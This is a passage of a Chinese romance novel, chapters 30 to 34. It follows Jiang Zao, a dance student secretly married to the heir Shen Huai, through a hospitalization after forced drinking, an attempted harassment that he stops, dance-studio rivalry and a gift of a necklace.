“挡路了。”陆特助毫不迟疑的放开手,冷冰冰的走开了。
陆特助小跑到沈淮身边,边走边问道:“江总介绍的这个单子,我们拒绝了,需不需要和江总说一声。”
沈淮拿起手机,又放下,望着前面的路眼神有一些放空,闻言回神,淡淡道:“不用。”
特助上位多年,最会的就是察言观色,特别是上司的脸色,他关切道:“沈总是在等女朋友电话?”
沈淮低眸,不在状态:“不是。”
特助松了口气,没有陷得太深就好,总裁还是那个高不可测,翻云覆雨,问鼎商界的总裁,没有掉下神坛。
下一秒,沈淮拿起手机淡淡道:“我在想要不要打电话给她。”
他有些纠结的看着手机,脸色算不上好。
陆特助身体僵住,迟钝的复述了那句话,眼神惊骇。
完了,滤镜,碎了。
“这样啊...”
他还没接过这种类型的问题,看来回答这方面的嘴皮子,得私下里多练练了。
沈淮将手机又放回口袋里,热闹的走廊里,违和的响起他落寞的声音。
“她不开心了,好像是因为我。”他仰头望着天花板,眉头微微蹙起,“我想和她解释,但我不知道自己做错了什么。”
那天晚上,他感觉到她的情绪,坐在客厅里用了好几个网站搜索相关词条,还是想不出该怎么让她开心。
想到她喜欢吃糖,他特意跑出去买了糖果,后来发现她锁了门。
亦如当初,他抱着小小的枕头想要和爸妈一起睡那样,面对的也是一扇锁上的房门。
也是因为讨厌他吗?
他的眼神微黯。
那一晚,街道很黑,他走了很久很久,从黑夜走到了白天。
日出很一般,一点也不好看。
“你不妨找个女人问问,女人更懂女人。”陆特助绞尽脑汁才想出这么一句话。
“找女人问?”沈淮蹙眉,虽然神情不悦,但眼神真的在思考这个方法是不是可行。
一阵热闹的起哄声从一间包厢里传出来,很吵。
沈淮蹙眉,侧头朝那个方向望过去。
陆特助说:“沈总,我们先离开这里吧。”
“嗯。”沈淮眼神在那扇门停留了一秒,而后转身离开。
...
姜早倒在凌晨的夜里,被彭高兴架着去了医院。
急诊,胃出血。
医生建议,病人过于疼痛难以支撑可以手术。
极近崩溃的彭高兴抓起姜早的手机,就想打电话,没想到喝醉了的姜早竟还有一丝神志,死死抓着手机,不让她打。
彭高兴愣在原地一时间天旋地转,脑子里只有一个想法。
姜早疯了。
彭高兴也疯了,真的听了姜早,没打电话。
那个夜里,姜早疼的滚下病床,额头冒的细汗将整个床单打湿。
好在,睡着了。
睡着了,就不疼了。
次日一早。
她扶着昏昏涨涨的头坐起来,发觉手上涨疼,才看到右手上挂的点滴。
她在医院。
记忆如潮水一般涌上来,她在回忆中又经历了一遍那种痛苦。
再次睁眼,她凝视着天花板,竟有一丝庆幸,昨晚醉酒没有不省人事,也没有让彭高兴打出那通电话。
还好,一切都还好。
她把所有钱转给了妈妈,说这是比赛的奖金,让她放心给爸爸看病。发完这些,她就关了手机。
彭高兴从病房外走进来,看到她醒了,脸上凝重的表情放下了些许,坐到她身边,为她掖好被角。
姜早用干哑的声音道:“谢谢你,住院的钱我一会转给你。”
彭高兴脸上有种说不出的感觉,她摇头:“不用了,昨天经理因为你很高兴,给我们的提成都翻倍了,比这医药费多多了。”
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姜早低头,干燥的嘴轻轻拉扯,也是庆幸,不用多出钱了。
彭高兴问:“怎么昨晚喝这么多。”
姜早惨白的脸上挂了一丝淡淡的笑:“就是突然想喝了。”
彭高兴没有说话,撞入姜早那双满是悲的眸子里,只感觉到痛苦和冷。
她当然是不信的,只是她也不理解姜早为什么要这么做。
她喜欢钱,见好就收,也懂点到为止。她只是喜欢赚钱的快感,没有任何目的性,靠商演赚的每一分钱,无论高低贵贱,她都觉得快乐。
她能感觉到,姜早和她不一样。
姜早那几杯酒,喝的很痛苦,连手都撑不住打颤,还要接着一杯一杯接住别人递过来的酒。
见彭高兴一直不说话,姜早补道:“心情不好正好想喝酒,昨天又能赚钱又能喝酒,不是挺好的。”
她说的牵强,但也编不出别的理由了。
彭高兴没再追究这件事,看到桌上的手机才想起来说:“你男朋友昨天给你打电话了。”
姜早一下子慌乱起来:“那他...”
彭高兴看到她本就惨白的脸一下子更白了,忙说道:“放心,我感觉到你们两个吵架了,我就说你今天在我家里住,说你睡过去了,让他明天再打你电话。”
姜早悬着的心骤然一松。
这么狼狈的样子,没被其他人看到,很幸运了。
彭高兴见她脸上浮现的笑意,突然感觉心涩涩又酸酸的,说不出缘由。
医生正好来查房,说再留院观察一天,恢复情况好久可以出院了,后期配合胃药就好了。
还好,第二天她醒来就没有什么不舒服了,顺利出了医院。
彭高兴一定要亲自送她回去,她拗不过,只好坐上了她的车。
她太累了,在车上睡着了。
醒来时,她正躺在家里的床上,若不是身上沾了药味,她几乎要以为陪酒只是一场梦。
床边的手机一直在震动,她打开看了一眼。
彭高兴给她发了很多信息,满屏的醒了吗。
姜早回了一条,彭高兴立马打了一个电话过来。
“你终于醒了姜早!”
姜早问:“怎么了?”
彭高兴赶紧道:“昨天你睡着了,那个抱你进去的男人是不是你男朋友?”天知道,她看到那个男人从别墅里走出来抱起姜早的时候有多震惊。
先不说这别墅,就说这个男人。
她不说过目不忘,但对于一些帅的还是记得的。
这个男人她在酒局里见过,几个老总围着他转,身份地位都不一般。
姜早知道自己在这里,一定是沈淮送进来的,沈淮也一定和彭高兴打了照面,她没再否认:“嗯。”
彭高兴叹气道:“姜早,我爸是做生意的所以我经常会跟着去一些酒局,我遇见过很多富家公子哥,那种富家公子哥都不是什么好人,可能就是和你玩玩的,最后结婚还是会选一个门当户对的。你要好好想想,谈恋爱是一辈子的事,一定要选一个合适的人。”
姜早知道她不会无缘无故说这些,问:“怎么突然对我说这些。”
彭高兴拿着手机踱步,欲言又止,最后咬了咬牙还是说了:“昨天我送你回来的时候,看到他和一个女人从家里走出来...”
她说的很快。
传到姜早耳朵里的时候,却变得很慢,像是整个世界只有这道声音,其他什么也听不到了。
她挂了电话,静静地看着天花板。
门被轻叩,从外面打开。
沈淮端着粥放到床头柜,问她:“醒了?”
这是没话找话,姜早听出来了。
她侧过身,转到了没有他的那侧:“我不想吃。”
沈淮从口袋里拿出一个方盒,那是他挑了很久选的项链,江婷说给女生送首饰一定会很开心,正要开口。
姜早望着窗外的风景,淡淡道:“你可以先出去吗?我想一个人静一静。”
沈淮攥着盒子的手紧了紧,凝视着那道背影,静了一会,将方盒放回了口袋里,轻轻道:“好。”
31. 第 31 章
凌晨,万籁俱寂的时候。
姜早套了个外套,收拾好了所有证件就走出了别墅。
奇怪的,明明是走出去。她想到的却是第一次踏进这里的画面,她躺在床上,夜里妄想着,住进沈淮的家里,也能慢慢住进沈淮的心里。
那时她就像情窦初开的人,想了很多偶像剧的桥段,相信接触的多了,沈淮一定会喜欢上她的。
两条毫无干系的平行线,因为意外的倾斜而有了交点,多浪漫啊。
可她却忘了,线的交叉只是一瞬间,他们还是会按照各自的轨道行走。
她当初想的还是太简单,结婚后各过各的互不干扰是建立在没有喜欢的前提下,心一旦跳动了,一切都不成立了。
心情,就像夏日的天气,晴一阵阴一阵,变幻莫测。
其实,折磨她的,从来不是情绪,而是心中存在的幻想。
那种惴惴不安,摇摇欲坠的感觉,是会让人崩溃的。
他们注定是不般配的。
江婷说的没错,她只是在用时间反复印证那句话。
他们根本不是一个世界的人。
她站在路灯下,发出了想了一晚上的短信,她想出去冷静一段时间。
路边微风习习,晚风泛着凉意,夜深之下,只有路灯的光还亮着。
耳边响起脚步声,很轻,也很慢。
她看着地上越拉越长的影子,慢慢转过身。
沈淮逆光走过来,手机还残留着光芒,正是她发过来短信的那页。
也不知道怎么,姜早鼻子一酸,眼泪顺着脸慢慢滑落。
“你别过来了。”她侧身掩饰自己的狼狈,手伸直做出挡的动作。
那道脚步声真的停了下来。
路灯将他的影子拉的很长。
他身上还穿着白天的衣服,不知道是不是根本就没有睡觉,一直跟着她出来的。
他望着她,眼神前所未有的小心:“要怎么样,你才能开心。”
姜早闭上眼睛,眼泪肆意。
沈淮蹙眉,抬步要上前。
姜早用手擦掉脸上的眼泪,不敢去看他的目光:“你别过来了,就站在这里,我就开心了。”
沈淮收回要迈出的腿,定在原地看她。
她没有再看沈淮,怕多留一秒都会再生出对他的妄想,而舍不得离开。
这里的路不长,平常很快就走出去了,这次却感觉走的好累好累。
好不容易走到了门口,一辆刚进门的车,用长车灯照亮了她,她停下来用手挡住脸。
本以为那辆车很快就会过,却不想,那辆车在她面前停了下来,车后门降下车窗,一股酒气散出来。
她看到那人,瞳孔微缩。
是上次一直灌他酒的莱总。
他靠在车椅上,脸上还泛着酒后的微红,调笑道:“这么晚到这里晃,是早就打听好了我住的地方?年轻人的上进心,确实不同凡响。”
姜早蹙眉:“你误会了。”
车门被打开,莱总手扶着车窗,摇摇晃晃的走出来:“欲拒还迎这种假把式我见过太多了,你长得漂亮,你不用这么麻烦,上次我就看出你的野心来了,只是人多不方便,这次人少,我答应你,走吧一起回去,我老婆正好不在家,”
姜早筹够了钱,现在不需要再自降自尊了,声音也冷了下来:“没兴趣。”
莱总见她要走,突然抓住了她的手腕。
他的脸上依旧带着笑意:“好,我陪你演。”
姜早的皮肤很嫩,几乎立刻就被捏出一道红痕来,她蹙眉挣扎,没有反驳他的话。
这种眼神,她见过,和当初的迟言一样。
很危险。
真的要被他拉到车里的时候,她急了,匆忙道:“你放开我!”
有的人就是这样,被人顺从惯了,一旦遇到忤逆他的人,没有耐心迂回,直接就会大发雷霆。
男人喝醉了酒的力气还是很大,她整个人都是懵的,本来想咬他一口脱身,却没想到下一秒被他甩了出去。
意料之外的痛感没有出现,她稳稳的跌进了一个怀里。
她不难认出这个熟悉的味道。
是沈淮。
又是他。
为什么每一次这么狼狈的时候,都能碰上沈淮。
沈淮将她拉到身后,挥拳朝那莱总打了过去。
莱总本来生气,抬头看到那人醉意一下子醒了七七八八,都是住在这附近的,他早就知道沈氏集团的继承人也在这里,一直有心想要假装偶遇,从没有碰到一次过,没想到竟然会在这种情况下碰到。
司机下来要回手,被莱总拦住,匆匆道歉之后夹着尾巴走了。
路灯将沈淮的影子拉的很长。
“别怕。”他走近她,忍不住用手抹去她脸上的泪痕,反应过来之后后退了一步,试探着小心翼翼的看她。
他说:“对不起,我就离开一会,现在站回去,你别不开心。”
姜早强忍的眼泪再也止不住,一滴一滴不断坠下来,滑过脸,坠到脖颈,不断,不断的掉下来。她张嘴想要说话,可是话到嘴边,怎么也说不出口。
他眼神有些无措,抬步真的要走。
姜早拽住他,浑身颤抖的很厉害,声音也跟着抖动:“沈淮...”她一步一步,慢慢的,走近他,脸轻轻埋到他的胸口。
沈淮揽住她的腰身,右手轻轻抚摸她的头发,在她耳边轻轻道:“好了,没事了。”
姜早痛苦的闭上眼。
但凡沈淮有一点不好,她都可以毫不犹豫的一走了之。
可是他偏偏很好。
好到无暇,好到闪着光芒。
沈淮顺着头,轻轻拍着她的背,一下一下安抚着:“这里晚上不安全,下次我陪你出来走。”
他仰头有些泄气道:“你是不是生我气了?可以直接告诉我么?我真的猜不到啊。”
从小到大,他遇到的所有人都是奉承他的,以至于他从来不需要顾及别人的情绪。
江婷教给她的方法有很多,只是对姜早来说都不适用,她连承认自己生气都不肯。
他还有很多要学的地方,不能让姜早再不开心了。
他父母的婚姻很不幸,以至于他不相信爱情,本以为这辈子都不会有家。
但既然有了。
他就要好好住下来。
姜早手慢慢抬起,拥住他的背,一字一句,含糊又清楚。
“没有,你很好,沈淮。”你是月亮,怎么会不好。
月亮照下来,照到了她身上,让她误会月亮只属于她一个人。
如果可以一直误会下去就好了。
可惜她只是短暂照到了月亮,月亮不属于她。
她的声音说的
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哽咽,也格外的软:“是我不够好。”
沈淮否认她:“你很好,姜早。”
虽然不知道她为什么会这么说,但他还是下意识回答。
有些人会给自己定下很高的标准,一旦没有达到,或者有些偏差,就会觉得自己不够好,不够努力,仿佛她的一生都是失败的。
可标准从来不是针对一项的。
他欣赏她,她坚强,她努力,她倔强。她的优点有很多,在他眼里,她从来不是一个普通人。
他轻拍着她的后背,一字一句,认真且肯定道:“你很好。”
姜早。
你很好。
姜早知道他是在安慰她。
可是那一瞬间,她仿佛短暂的把月亮摘下来了。
她轻轻伸手,却在要碰到他后背时,垂下了手。
就这样,也很好。
那天晚上夜色很美,星星很亮,风吹过的时候,似乎预见了盛夏的燥热和激情。
第三天,姜早才回学校。
沈淮看她看的很紧,每天都让私人医生过来给她检查腿,直到私人医生说可以了,才答应她出门。
不过出门也得他接送。
坐在沈淮车上的时候,姜早有一种奇怪的感觉,好像他们越来越像寻常夫妻了。记得刚开始,坐在沈淮车上的时候,他冷冰冰的看文件,对她像是对一个陌生人。
她的手攥着安全带,转头看他。
不知道从什么时候开始,沈淮都是自己开车了,司机很少出面。
他开车的时候很认真,盯着前面眼神专注。
遇到有堵车也没什么表情,静静地等着,是她喜欢性格。
姜早收回视线,拿起手机刷了一会儿朋友圈,向北辰发了一张图片,是他拿到一个企业offer的照片,看logo是沈氏,难怪向北辰有一段时间没有出现,原来是在忙入职。
她对企业不太了解,但看名字是集团,应该是很厉害的公司。
忽然,向北辰打了一个微信电话过来。
姜早接通,向北辰的声音雀跃的声音从听筒里传出来:“学姐,我拿到沈氏集团的offer了!”
车里的空间很小,又在堵车,很安静,她看了一眼沈淮,调小了音量才道:“我看到了,恭喜你!”
“家里给我办了一场庆功宴,学姐你方便来吗?”
“庆功宴啊...”姜早想了想道,“可以。”
“太好了,你现在在哪?在学校吗?我过去接你?”
“不用,你发个地址给我就行...”她声音低了一点,“我到时候打车过来。”
沈淮握着方向盘,冷不丁的说:“我送你。”
姜早被吓了一跳,捂着手机生怕被向北辰听到,可也迟了。
“学姐,你身边有人?”
姜早捂着手机,往旁偏了偏,声音更低了一点,含糊道:“是,我表哥正好在,他送我去学校。”
她还没有把自己已经结婚的事情告诉给朋友,怕突然冒出一个丈夫会吓到他们,想等到以后沈淮也喜欢她了之后再告诉他们。
向北辰一听是表哥爽快道:“你让表哥到时候一起来呀,人多热闹。”
姜早低声道:“他啊...他...”
她正想着帮沈淮回绝。
一个红灯,沈淮慢慢停下来,侧头清晰道:“行。”
32. 第 32 章
姜早挂断电话,收到了他发过来的时间和地址。
她看了一眼时间,是下午三点开始。
“你会不会不方便,时间是下午三点开始。”姜早问。
沈淮说:“有时间。”
“哦。”姜早猜想他应该是企业的高管,时间很自由,便也没再多问。
停了车后,她刚打算拉开车门下车,沈淮突然递过来一个包装精美的盒子。
姜早接过来没有立刻打开:“这是什么?”
沈淮道:“项链。”
姜早打开来看了一眼,是一条钻石项链,很闪。
她盖上,塞回去:“我不要。”
沈淮停顿片刻,接过盒子,低声问:“你不喜欢?”
他的语气平淡,眼神却直直的看她,眸光掩不住的失落。
姜早避开那道视线。
她最近时常感觉到沈淮用这种目光看她,好像是从发完那个短信开始。
她不理解这个视线具体含义,但是他这么看过来,她总忍不住答应他的请求。
姜早心里生出一种奇怪的感觉,有些隐隐感觉到沈淮的变化,她有个想法但不敢相信,还是试探着问:“怎么突然给我买项链。”
沈淮别开视线,想了一会才道:“我妈买多了,让我送你一条。”
姜早有些意外的看过去,这还是她第一次听到沈淮喊苹果妈妈叫做妈。
沈淮显然也意识到了,微微蹙眉,低声道:“你不要的话,我扔了。”
“不要扔,多浪费,那还是给我吧。”姜早伸手要拿那只首饰盒。
沈淮顺势拉住她的手,将她往身边拉了拉,将项链挂到她脖子上,轻声道:“戴着,很好看。”
也许是这个卡扣很难系,他们这个动作维持了很久,近在咫尺的距离,他们的呼吸离得很近。
等到系好之后,姜早的脸早就熟了一片。
“下课发我信息,我来接你。”他没发现什么不对,退了回去。
“嗯,知道了!”姜早匆匆拉开门,慌不择路的跑开了。
车门关上后,一阵电话铃突然响起。
沈淮接起。
“小沈总,下午的会议资料要现在发送出去吗?”
沈淮望着车窗外已经消失的背影:“下午的会议取消。”
“啊?”电话里差点按下发送键的陆特助猛的抽回手,心疑自己是不是听错了,沈总以往从来不会临时取消会议。
“另外...”沈淮顿了一下,蹙眉后挂了电话。
陆特助看着挂断的电话,查了一下手机话费。
没欠费啊。
再次拨回那个电话,拒接...
怎么了这是...
沈淮点开搜索软件,默默搜索相关词条。
女生到底喜欢什么?
下车后的姜早直接去了舞房,到的时间还算早,还没上课。
只是原本在聊天的舞房,在她进来的一瞬间突然停下来了,她一眼就感觉教室里的氛围不似寻常,所有人都在看着她。
她不知缘由,直到看到了坐在人群中,本该不会出现在这里的人。
她曾经的室友,清雅。
她早就飞到休斯顿准备了,按理说不会在这个时候回国。
也难怪她们都看向她,她和这个人曾经可是上过同一个帖子的。
清雅故意装作什么都不知道,朝她打招呼道:“哈喽学姐!没想到你也入了顶尖计划啊,主办方那边说同校的人要一起报道才行,专程让我过来接你呢。”
虽然她装的淡定,但眼睛红的几乎要喷血。
姜早自然看出来了,但也没兴趣和她起冲突,在柜子上放下包:“知道了。”
一人泛酸,小声道:“这有什么的,也不知道她从哪个路子得来的,听说她的名额来路不正呢,清雅可是实打实从顶尖舞团比赛拿来的。”
闻言,清雅的脸色总算好了一些。
姜早没反驳,自顾自换舞蹈鞋。她的来路是不正,另一个人来路也没正到哪里去。
有人一眼就发现了她脖子上的项链,上前仔细看道:“这不是去年拍卖天价的奥本海默蓝钻吗?姜早你这么有钱?”
听到她说的话,坐在舞蹈房地上的一堆人站起来,过来围观。
姜早心中微骇,是沈淮送的,搞不好还真是真的,只不过她面上不显:“仿品,我觉得好看在路边随便买的。”
立刻有人道:“也是,怎么会是真的呢。”
姜早松了口气,走到一边去压腿,要是不否认的话,又要传她被包养的那些新闻了。
所有人又围到清雅身边,作为国内顶尖舞团的成员,又入了顶尖计划,还了休斯顿一趟,清雅在众人眼里的地位很高,都好奇的向她打听休斯顿那边的事。
清雅一一回应,十分耐心。
“好玩倒是没什么好玩的,我每天给自己的训练强度很大,希望跟优秀的人多学习一些。”
其中一人提起道:“听说在清雅去了之后,有人在场馆看到了沈淮学长,是真的吗?”
清雅脸上有些惊喜,还泛着微红,她故意看了姜早一眼,然后娇羞道:“可能是因为曾经同校的原因吧,沈淮学长看到了名单上有我,就过来看了一眼。”
周围人都在捧她,甚至将她和江婷齐名。
也有人提起后面的姜早来。
毕竟传言中,姜早是沈淮的表妹。
刚回国的清雅闻言,脸上的表情变了又变,显然消息有些滞后,还不知道这个最新消息,看向姜早的眼神多了几分盘算。
姜早腿加上把杆,侧腰往下压着旁腿,闻言连眼睛都没眨。
专业老师来了之后,她们便散开了。
清雅作为休斯顿入选人员,被专业老师选成了这节课的助教,她洋洋得意的上完了一整节课。
下课后心情很好,对着姜早道:“还有不到一周的时间就要去签到了,学姐记得提前两天联系我哦,我们一起坐飞机过去~”
姜早用毛巾擦了擦脸上的汗,点头道:“行。”
既然她能当做什么事情都没发生过,自己当然也行。
清雅转身走了两步,突然转过身,笑着指着她的腿道:“还有哦,学姐,你在侧旋的时候膝盖没有伸直,这样观众看下来身体
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流畅度是不够的,既然是出国比赛,膝盖力量还是要多练一练。”
说完,她就走了。
人渐渐的走光了,只剩下姜早。她坐在墙边的鞋柜上,双手轻轻放在膝盖上,眼神放空了好一阵。
清雅说的话没有错,她一直没有留意到这个问题。
在膝盖受伤后,她下意识改为腿发力,用下肢带动上肢,减少膝盖的发力。导致忽视了膝盖在动作中的作用,身体流畅度被带了下来,线条感不够优美。
“早早,走,去吃饭了。”木奈奈路过门口喊她。
姜早摇头,又换上了舞蹈鞋:“你先去吧,我再练一会儿。”
木奈奈知道她很重视休斯顿的比赛,没有拦她,把饭卡揣进兜里,然后道:“行,我去给你打包过来。”
不知过了多久,她满身汗水的跌倒在地上,从镜子里看着浑身是汗的自己,笑了。
技巧动作很容易形成肌肉记忆,即使有心调整也很容易在高压的情况下做出肌肉记忆的组合,好在她调整回来了。
她手扶着地面起来,膝盖微微发酸,肚子也连带着发疼。
也许是运动量上来了,又没有吃中饭的缘故。
门口,响起一阵赞叹声。
她抬头,看到木奈奈端着盒饭朝她走过来。
“姜早同学,你跳舞这么好看,让你的那帮同学怎么活?”
姜早知道她是打趣,接过盒饭道:“谢谢。”
她换好舞蹈鞋走到外面才开始吃起来,舞蹈房里只能有汗水味,最不容许的就是食物残留的味道。
木奈奈注意到她脖子上的项链,也发出和她们一样的惊叹:“早早,你这条项链在哪里买的,真好看!”
姜早闻言才想起来这件事,放下盒饭,把项链摘掉放到了衣服口袋里,用拉链拉好:“路边觉得好看,随手买的。”
太贵重了,随身携带不太好。
万一有识货的看出来,还不免会传出她的一些谣言。
木奈奈惋惜道:“怎么摘掉了?你带着这个真的很好看。”
姜早想了想,把刚刚的事情稍加改造说了出来:“刚刚有人说这个正品很贵,我戴的山寨的不太好。”
木奈奈一想,是这么个道理,没再多说。她想到了另一桩事,有些气愤道:“现在谣言真是越传越离谱的,先前是有人传你是沈淮学长的表妹,现在还有人传那个魏清雅是沈淮学长暗恋的人,早早,你说那帮人是不是吃饱了撑的没事干!”
姜早扒拉了两口饭,只敢含糊的嗯几声。
其中一个谣言的罪魁祸首是她,当初木奈奈连打数十个电话追问这件事,她用一贯的冷静说服了木奈奈,这个“谣言”只是“谣言”。
学校里有好多人相信了这件事,只有木奈奈对她深信不疑。
下楼后,她走到一个不引人注意的小角落才敢打沈淮的电话。
“你什么时候过来。”
电话里的声音慢慢,缓缓。
“你转身。”
街道无人,沈淮站在树下,手机放在耳边,静静地看她。风扬起他衣衫一角,他将手机放进口袋里,朝她走来。
33. 第 33 章
向北辰组的局是在一个烧烤大排档,旁边就是一个赛车场。
来的人大多都是他的同系同学,很快就在一起玩开了。
向北辰作为组局的人没怎么吆喝,就让他们吃好喝好自顾自的玩尽兴就好。
摄影系的男大不怎么看论坛,知道姜早和沈淮的少,所以也没留意他们的存在,本来姜早打算安安静静的吃完安安静静的走,没想到向北辰临时起意,非要沈淮和他一起去赛车场玩。
姜早不懂赛车,没跑去看。
吃了好半响,将近三个小时过去才等到沈淮回来,回来的时候沈淮脸色异常差。
姜早放下手里的串,小声和旁边人打听:“沈淮全输了?”
旁边人嘿嘿笑了两声:“沈淮学长全赢了。”
姜早惊讶,看沈淮的脸色也不像是赢了的样子啊,难不成起了什么冲突,她有些担忧的望过去,却见向北辰一把揽住了沈淮的肩膀。
举止亲昵还聊的很开心。
姜早胳膊撑在桌上,手微扶着脸,自言自语道:“也没起冲突啊。”
向北辰丝毫不顾及沈淮有些抗拒的手,还亲昵的拍了拍他的肩膀,遥望看到姜早在看他,对着姜早笑了笑,然后侧头小声在沈淮耳边道:“哥,你刚刚的技术实在是太高超了,有空一定要再来和我切磋切磋!正好我也需要和强者多学习学习!你比我那群教练厉害多了!改天得介绍你和他们认识,让他们也见识一下!”
沈淮侧头看着那双炙热又真挚的眼睛,停下来,单手推开他,保持一臂距离外,才淡淡道:“知道了。”
烧烤的长方桌上,沈淮刚一坐下,向北辰就在旁边坐下。他抬手拿起桌上的雪碧,往杯子里的空杯子里倒,倒的差不多了,递到沈淮面前,然后侧头夸张地跟姜早道:“学姐,你表哥的赛车技术实在是太厉害了,刚刚连赢我好几把,真是甘拜下风!”
姜早心虚的睨了一眼沈淮。
沈淮没看她,给自己倒了一杯白水,没喝那杯雪碧。
她轻咳了两声:“是啊,他学什么都很厉害。”
向北辰见时机成熟,仰头望着天,像是突然想起了什么事,呀了一声然后说:“怎么这么晚了,对了学姐,隔壁有个地方要放烟花,你要一起去看看吗?”
说完,他把手搭在沈淮的肩膀上,朝他轻笑了一声。
姜早抬头,看了一眼天,确实已经夜深了。说实话,她已经有好久没有看烟花了。
上一次看烟花是在新年,爸妈不知道因为什么在吵架,烟花绽开的那瞬间,桌上的盘子也在地上碎了一地,那次看烟花一点也不开心。
她好像从来没有和朋友看过烟花。
她认真的点点头:“好。”
沈淮眸子里的光黯了又黯。
向北辰丝毫未察觉某人的情绪,从椅子上蹦起来,匆匆道:“我这就去安排,学姐,你等我!”
“好。”姜早点了点头。
长放桌上另外两个人也被向北辰招呼走,只剩下了姜早和沈淮。
姜早咬了一口串串,仰头看到沈淮正在看她,她咽下去之后才道:“你要一起去吗?”
沈淮淡淡道:“不去。”
姜早哦了一声,没再向他邀约。
她扫了一圈周围,只有沈淮一个人做的板板正正,与周遭划拳开玩笑的绝大部分人相比,格格不入。
她嚼着串往下咽的同时,细想了一番,以沈淮的成长环境,应该从来没来过这种地方,也难怪他一直适应不了。
她深思熟虑后才道:“你是不是在这待着不太适应,没关系,你可以先走,我一会打车回去。”刚一说完,她撞进一双充满哀怨的眸子里,猛地让她一怔。
“我喝醉了,你送我回去。”沈淮一字一句,咬字清楚的说道。
姜早仔细打量沈淮的脸色,黑暗中还泛着白,不像是喝醉的样子,她狐疑道:“你什么时候喝酒了。”
“刚刚。”沈淮道。
姜早蹙眉想了想,刚刚确实有一段时间没看到沈淮,难道是在赛车场上庆祝的时候喝了点酒。
她还没见过沈淮喝酒,唯一的一次她的神志也不太清醒,记不清。
不过以上次经历来说,沈淮喝醉酒应该是不太妙。
她有些踌躇道:“可是我拿到驾照之后就没有开过车,要不我让向北辰帮你开吧。”
沈淮脸色一黑,搬开椅子站起来:“没事我自己开。”
说完,她也不等姜早,径直往停车的方向去了。
姜早忙站起来,小跑着想跟上他,但他走的极快,她站定的时候已经站到了车门外。
她叹了口气,拿出手机,下一秒手突然被攥住。
就见沈淮目光灼灼的看着她,语气却轻轻:“发给谁。”
姜早一时分不清他到底有没有醉,怎么喝醉了力气还这么大,她挣脱不开只能解释道:“发给向北辰,我们不是要走了么?得跟他说一声吧。”
手上的力气渐渐松开。
沈淮低低说了一声:“好。”
这是她继驾校的培训后人生第二次开车,还是夜路,虽然开的一路强装镇定,但遇到左右有人超车,她都不免油门和刹车有些不安的交换,生怕和旁边车碰着。
开到后面,遇到了一个红灯,她没看仔细,差点闯了,好在沈淮在旁边说了一声,她才一脚刹车急啥住,要是没有安全带,可能她都要扑到车玻璃上。
红灯还在倒计时三十秒。
她的心率却直线飙升。
还好,没有闯灯...
也不知道是不是刹的太猛,她的膝盖和车内壁磕上了,旧伤隐隐作痛。
一定是因为今天在舞房重复使用膝盖,导致旧伤复发了。
她趁着红灯,内疚的和沈淮说:“我膝盖疼,沈淮。”
她很少主动会说疼,可是这是在路上,一个不小心的意外就是生死问题。
“在路边停下来,打双闪。”沈淮蹙眉,有些严肃的说。
红灯变绿,她点头踩下油门,好在这一段路开的还算顺,她靠边停下来,沈淮按下了双闪的按键,打开车门后道:“下车,我送你去医院。”
姜早刚要解开安全
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带,听到他说的话,立刻就不动了。
沈淮打开她的车门。
她有些愣愣道:“你不是喝酒了么?”
喝酒可不能开车。
沈淮张嘴犹豫了一会,似乎把什么话咽了下去:“没事。”
姜早死死勒住安全带,警惕的看他,生怕他抢了似的。
沈淮叹了口气,欠身解开她的安全带,趁她不备拦腰将她抱起来。
“没喝酒,放心吧。”
他轻轻将她放到副驾驶,帮她系好安全带后才坐到主驾驶。
姜早蹙眉,狐疑的打量他:“真的没喝吗?”
她不了解男人,但他了解他爸,他爸从外面喝完酒回来,红着脸唱着军歌稀里糊涂的走路,还会坚定的说自己没喝酒。
沈淮刚系好安全带,闻言凑近她,说:“你要检查吗?”
他们离得很近,近到看着他的脸,能感觉到他的呼吸。
时间好像在此刻暂停了下来。
他们的眸子中倒映着对方,以及如墨般夜色下接连闪烁的应急车灯。
姜早认真的点点头,凑到沈淮脖子间,拎起他的衣领,仔细嗅了嗅。浓郁的烧烤味下还散着一股淡淡的木质香,幽幽的不着让人沉静。
确实没有酒味。
她缩回自己的副驾驶,蹙眉不解道:“那你刚刚为什么要说自己喝酒了?”
沈淮启动了车,车里静了好一会,他莫名其妙道:“外面那么好玩吗?”
姜早睨了一眼窗外,夜色浓稠,这是每天都会看到的,只是烟花不是,她确实有些遗憾。不过,遗憾过了,也没必要再说。
“还好。”她说。
如墨的夜色下,车里没再有声响。
红灯,车停下来。
沈淮侧眸,望着那张有些失落的侧脸,顺着她的目光,看向漆黑的夜空。
“你的狂犬疫苗是不是要打第二针了。”
姜早闻言,眉头猛的一蹙,侧身不说话了。距离上一次被猫爪划伤已经有一段时间了,她几乎都快忘记,还有狂犬疫苗这件事了,提起这个,胳膊上的痛感仿佛又清晰的传了过来。
明明只是一瞬间的事情,怎么能提前这么久开始疼起来。
她心中措词该怎么婉拒掉这件事,但下一秒沈淮抢先一步接着道:“正好要去医院,顺便去打了吧。”
“知道了。”她闭着眼闷闷道,像是生了闷气。
再次睁开眼,沈淮已经在医院外面停好了车。
“要不要吃糖。”沈淮从口袋里拿出一颗橘色包装的糖。
姜早只睨了一眼车窗外,浑身的情绪一半为膝盖惴惴不安,一半为即将要打到身上的狂犬疫苗烦躁,情绪不是很高道:“吃饱了。”
沈淮橘色包装的糖放回去,又拿出一颗粉色的递过去:“草莓味的呢?”
姜早有些奇怪的看过去,正见他还打算从口袋里掏出蓝色绿色包装的糖来。
她忍不住问:“你怎么带了这么多糖?”
沈淮静了一会,才慢慢开口:“可能是我妹妹放错口袋了。”
34. 第 34 章
姜早提前在网上挂了急诊,等他们到的时候,正好排到了她的号码。
她走进去刚想关上门,被一股外力挡住,下意识收回手,往后退了一步。
沈淮推门走进来,反手关上了门,双目对视时,他问:“怎么了?”
“没什么。”姜早摇头。或许早就习惯了一个人去医院看病,突然身边多一个人,还有些不适应。
姜早走到椅子边坐下,沈淮在她旁边站好。
急诊的医生视线从电脑前移开,朝他们看过来,看到姜早的时候,像是认出她来了,睨了她一眼的同时又看了一眼身旁的沈淮:“小姑娘出院没多久,怎么又来了。”
姜早正从口袋里掏出医保卡,闻言,一时没理解医生话里的意思,迟疑问道:“啊?医生你是不是认错人了。”等到医生开口后,她立刻就后悔自己问出的话来了。
“没有,我不会认错的,上次你朋友带你过来急诊,就是我接得诊,没记错的话,你上次是喝酒喝的胃出血。”医生睨了她一眼,“身上烧烤味道很重,你的主治医生没有告诉你吗,你这段时间不能吃烧烤。”
姜早小声说:“我这次来看腿的。”
“什么时候来的。”沈淮问。
